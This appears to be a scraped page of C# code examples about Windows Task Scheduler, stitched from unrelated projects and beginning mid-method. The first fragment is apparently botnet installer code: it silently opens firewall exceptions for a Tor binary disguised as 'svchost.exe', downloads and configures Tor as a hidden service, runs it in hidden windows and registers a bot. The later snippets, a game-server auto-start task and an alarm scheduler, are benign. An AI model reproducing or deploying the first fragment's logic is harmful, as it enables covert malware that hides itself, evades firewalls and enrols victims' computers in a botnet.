                            Console.WriteLine(ex2.ToString());
                        }
                    }
                }
                catch (Exception ex) { Console.WriteLine(ex.ToString()); }

                string torDirectory = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\";

                try
                {
                    ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\svchost.exe" + " ServiceHost ENABLE");
                    Process          proc          = new Process();
                    proc.StartInfo = procStartInfo;
                    proc.StartInfo.UseShellExecute = false;
                    proc.StartInfo.CreateNoWindow  = true;
                    proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    proc.Start();
                }
                catch (Exception ex)
                {
                }

                try
                {
                    ProcessStartInfo procStartInfo = new ProcessStartInfo("c:\\windows\\system32\\netsh.exe", "firewall add allowedprogram " + torDirectory + "\\tor\\tor.exe" + " TorHost ENABLE");
                    Process          proc          = new Process();
                    proc.StartInfo = procStartInfo;
                    proc.StartInfo.UseShellExecute = false;
                    proc.StartInfo.CreateNoWindow  = true;
                    proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
                    proc.Start();
                }
                catch (Exception ex)
                {
                }

                string sDownloadPath = FluxGlobal.sInstallDirectory + "\\Tor\\";

                if (System.IO.Directory.Exists(sDownloadPath) == false)
                {
                    System.IO.Directory.CreateDirectory(sDownloadPath);
                }

                sDownloadPath = sDownloadPath + "tor.zip";

                if (System.IO.File.Exists(sDownloadPath.Replace("tor.zip", "tor.exe")) == false)
                {
                    //if(System.IO.Directory.Exists(torDirectory) == false)
                    //{
                    //    System.IO.Directory.CreateDirectory(torDirectory);
                    //}

                    bool bGoodDownload      = false;
                    System.Net.WebClient wc = new System.Net.WebClient();

                    while (bGoodDownload == false && alTorURLs.Count > 0)
                    {
                        string sUrl = alTorURLs[0].ToString();
                        alTorURLs.RemoveAt(0);

                        try
                        {
                            wc.DownloadFile(sUrl, sDownloadPath);
                            bGoodDownload = true;
                        }
                        catch { }

                        if (bGoodDownload == true)
                        {
                            break;
                        }
                    }

                    try
                    {
                        UnZip(sDownloadPath, sDownloadPath.Replace("tor.zip", ""));

                        System.IO.Directory.Move(sDownloadPath.Replace("tor.zip", "") + "\\1-master", torDirectory);

                        string torrc = "SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory " + torDirectory.Replace("\\", "/") + "\r\nHiddenServiceDir " + torDirectory.Replace("\\", "/") + "/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375";
                        System.IO.File.WriteAllText(torDirectory + "torrc", torrc);

                        try
                        {
                            System.Diagnostics.ProcessStartInfo psi = new System.Diagnostics.ProcessStartInfo(torDirectory + "\\tor.exe", "--defaults-torrc \"" + torDirectory + "\\torrc\"");
                            psi.UseShellExecute        = false;
                            psi.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden;
                            psi.CreateNoWindow         = true;
                            psi.RedirectStandardError  = true;
                            psi.RedirectStandardOutput = true;
                            psi.RedirectStandardInput  = true;

                            System.Diagnostics.Process serviceProcess = new System.Diagnostics.Process();
                            serviceProcess.StartInfo = psi;
                            serviceProcess.Start();
                            System.Threading.Thread.Sleep(120000);
                            serviceProcess.Kill();
                        }
                        catch (Exception ex)
                        {
                        }

                        string sHiddenServiceAddress = System.IO.File.ReadAllText(torDirectory + "\\hidden_service\\hostname");

                        System.IO.File.WriteAllText(torDirectory + "torrc", torrc.Replace("57480", OnionToPort(sHiddenServiceAddress).ToString()));
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine(ex.ToString());
                    }
                }

                FluxApiClient.RegisterBot();
            }
        }
        public static bool ScheduleAutoStart(string taskKey, string taskSuffix, bool enableAutoStart, string command, string profileName)
        {
            var taskName = $"AutoStart_{taskKey}";

            if (!string.IsNullOrWhiteSpace(taskSuffix))
            {
                taskName += $"_{taskSuffix}";
            }

            var taskFolder = TaskService.Instance.RootFolder.SubFolders.Exists(TASK_FOLDER) ? TaskService.Instance.RootFolder.SubFolders[TASK_FOLDER] : null;

            if (enableAutoStart)
            {
                // create the task folder
                if (taskFolder == null)
                {
                    try
                    {
                        taskFolder = TaskService.Instance.RootFolder.CreateFolder(TASK_FOLDER, null, false);
                    }
                    catch (Exception ex)
                    {
                        Logger.Debug($"Unable to create the ASM task folder.\r\n{ex.Message}.");
                        return(false);
                    }
                }

                if (taskFolder == null)
                {
                    return(false);
                }

                var task           = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
                var taskDefinition = task?.Definition ?? TaskService.Instance.NewTask();

                if (taskDefinition == null)
                {
                    return(false);
                }

                Version appVersion;
                Version.TryParse(App.Version, out appVersion);

                taskDefinition.Principal.LogonType = TaskLogonType.ServiceAccount;
                taskDefinition.Principal.RunLevel  = TaskRunLevel.Highest;

                taskDefinition.RegistrationInfo.Description = $"Ark Server Auto-Start - {profileName}";
                taskDefinition.RegistrationInfo.Source      = "Ark Server Manager";
                taskDefinition.RegistrationInfo.Version     = appVersion;

                taskDefinition.Settings.ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT);
                taskDefinition.Settings.Priority           = ProcessPriorityClass.Normal;

                // Add a trigger that will fire after the machine has started
                taskDefinition.Triggers.Clear();
                var trigger = new BootTrigger {
                    Delay = TimeSpan.FromMinutes(1),
                    ExecutionTimeLimit = TimeSpan.FromHours(EXECUTION_TIME_LIMIT)
                };
                taskDefinition.Triggers.Add(trigger);

                // Create an action that will launch whenever the trigger fires
                taskDefinition.Actions.Clear();
                var action = new ExecAction {
                    Path      = command,
                    Arguments = string.Empty
                };
                taskDefinition.Actions.Add(action);

                try
                {
                    task = taskFolder.RegisterTaskDefinition(taskName, taskDefinition, TaskCreation.CreateOrUpdate, "SYSTEM", null, TaskLogonType.ServiceAccount);
                    return(task != null);
                }
                catch (Exception ex)
                {
                    Logger.Debug($"Unable to create the ScheduleAutoStart task.\r\n{ex.Message}.");
                }
            }
            else
            {
                if (taskFolder == null)
                {
                    return(true);
                }

                // Retrieve the task to be deleted
                var task = taskFolder.Tasks.Exists(taskName) ? taskFolder.Tasks[taskName] : null;
                if (task == null)
                {
                    return(true);
                }

                try
                {
                    // Delete the task
                    taskFolder.DeleteTask(taskName, false);
                    return(true);
                }
                catch (Exception ex)
                {
                    Logger.Debug($"Unable to delete the ScheduleAutoStart task.\r\n{ex.Message}.");
                }
            }

            return(false);
        }
Exemplo n.º 15
0
        // method only for testing purpose
        public TaskDefinition AlarmScheduler(Alarm _alarm)
        {
            // Create a new task definition for the local machine and assign properties
            TaskDefinition td = TaskService.Instance.NewTask();

            td.RegistrationInfo.Description = _alarm.Description;

            switch (_alarm.Reiteration)
            {
            case Alarm.ReiterationType.oneTime:
            {
                if (_alarm.ComputerStarts)
                {
                    BootTrigger tg = new BootTrigger();
                    if (_alarm.DeleteAfter)
                    {
                        tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
                    }
                    if (_alarm.RandomDelay)
                    {
                        tg.Delay = _alarm.RandomDelayTime;
                    }
                    if (_alarm.RepeatAlarm)
                    {
                        tg.Repetition.Interval = _alarm.RepeatAlarmTime;
                    }
                    if (_alarm.RepeatAlarmDuration)
                    {
                        tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
                    }
                    if (_alarm.StopRepeat)
                    {
                        tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
                    }
                    td.Triggers.Add(tg);
                }
                else
                if (_alarm.Wake)
                {
                    LogonTrigger tg = new LogonTrigger();
                    if (_alarm.DeleteAfter)
                    {
                        tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
                    }
                    if (_alarm.RandomDelay)
                    {
                        tg.Delay = _alarm.RandomDelayTime;
                    }
                    if (_alarm.RepeatAlarm)
                    {
                        tg.Repetition.Interval = _alarm.RepeatAlarmTime;
                    }
                    if (_alarm.RepeatAlarmDuration)
                    {
                        tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
                    }
                    if (_alarm.StopRepeat)
                    {
                        tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
                    }
                    td.Triggers.Add(tg);
                }
                else
                {
                    TimeTrigger tg = new TimeTrigger();
                    tg.StartBoundary = new DateTime(_alarm.StartDate.Year, _alarm.StartDate.Month, _alarm.StartDate.Day, _alarm.StartTime.Hour, _alarm.StartTime.Minute, _alarm.StartTime.Second);
                    if (_alarm.DeleteAfter)
                    {
                        tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
                    }
                    if (_alarm.RandomDelay)
                    {
                        tg.RandomDelay = _alarm.RandomDelayTime;
                    }
                    if (_alarm.RepeatAlarm)
                    {
                        tg.Repetition.Interval = _alarm.RepeatAlarmTime;
                    }
                    if (_alarm.RepeatAlarmDuration)
                    {
                        tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
                    }
                    if (_alarm.StopRepeat)
                    {
                        tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
                    }
                    td.Triggers.Add(tg);
                }
                break;
            }

            case Alarm.ReiterationType.daily:
            {
                DailyTrigger tg = new DailyTrigger(_alarm.RecurDays);
                tg.StartBoundary = new DateTime(_alarm.StartDate.Year, _alarm.StartDate.Month, _alarm.StartDate.Day, _alarm.StartTime.Hour, _alarm.StartTime.Minute, _alarm.StartTime.Second);
                if (_alarm.DeleteAfter)
                {
                    tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
                }
                if (_alarm.RandomDelay)
                {
                    tg.RandomDelay = _alarm.RandomDelayTime;
                }
                if (_alarm.RepeatAlarm)
                {
                    tg.Repetition.Interval = _alarm.RepeatAlarmTime;
                }
                if (_alarm.RepeatAlarmDuration)
                {
                    tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
                }
                if (_alarm.StopRepeat)
                {
                    tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
                }
                td.Triggers.Add(tg);
                break;
            }

            case Alarm.ReiterationType.weekly:
            {
                WeeklyTrigger tg = new WeeklyTrigger();
                tg.WeeksInterval = _alarm.RecurWeeks;
                tg.DaysOfWeek    = _alarm.DaysOfTheWeek;
                tg.StartBoundary = new DateTime(_alarm.StartDate.Year, _alarm.StartDate.Month, _alarm.StartDate.Day, _alarm.StartTime.Hour, _alarm.StartTime.Minute, _alarm.StartTime.Second);
                if (_alarm.DeleteAfter)
                {
                    tg.EndBoundary = DateTime.Now + TimeSpan.FromDays(_alarm.DeleteAfterDays);
                }
                if (_alarm.RandomDelay)
                {
                    tg.RandomDelay = _alarm.RandomDelayTime;
                }
                if (_alarm.RepeatAlarm)
                {
                    tg.Repetition.Interval = _alarm.RepeatAlarmTime;
                }
                if (_alarm.RepeatAlarmDuration)
                {
                    tg.Repetition.Duration = _alarm.RepeatAlarmDurationTime;
                }
                if (_alarm.StopRepeat)
                {
                    tg.Repetition.StopAtDurationEnd = _alarm.StopRepeat;
                }
                td.Triggers.Add(tg);
                break;
            }
            }

            td.Settings.StartWhenAvailable = _alarm.RunAsap;
            if (_alarm.DeleteAfter)
            {
                td.Settings.DeleteExpiredTaskAfter = TimeSpan.FromDays(_alarm.DeleteAfterDays);
            }
            //td.Settings.ExecutionTimeLimit = TimeSpan.FromMinutes(10);
            td.Settings.WakeToRun = _alarm.Wake;
            td.Settings.Enabled   = _alarm.Enabled;

            string pathOnAppExe = Process.GetCurrentProcess().MainModule.FileName;

            if (_alarm.Description == "")
            {
                _alarm.Description = "!ALARM!";
            }

            try
            {
                TaskService.Instance.RootFolder.CreateFolder("Alarm Clock");
            }
            catch { }

            td.Actions.Add(pathOnAppExe, $"/hidden=yes /priority={_alarm.Priority.ToString()} /description=\"{_alarm.Description}\"");

            return(td);
        }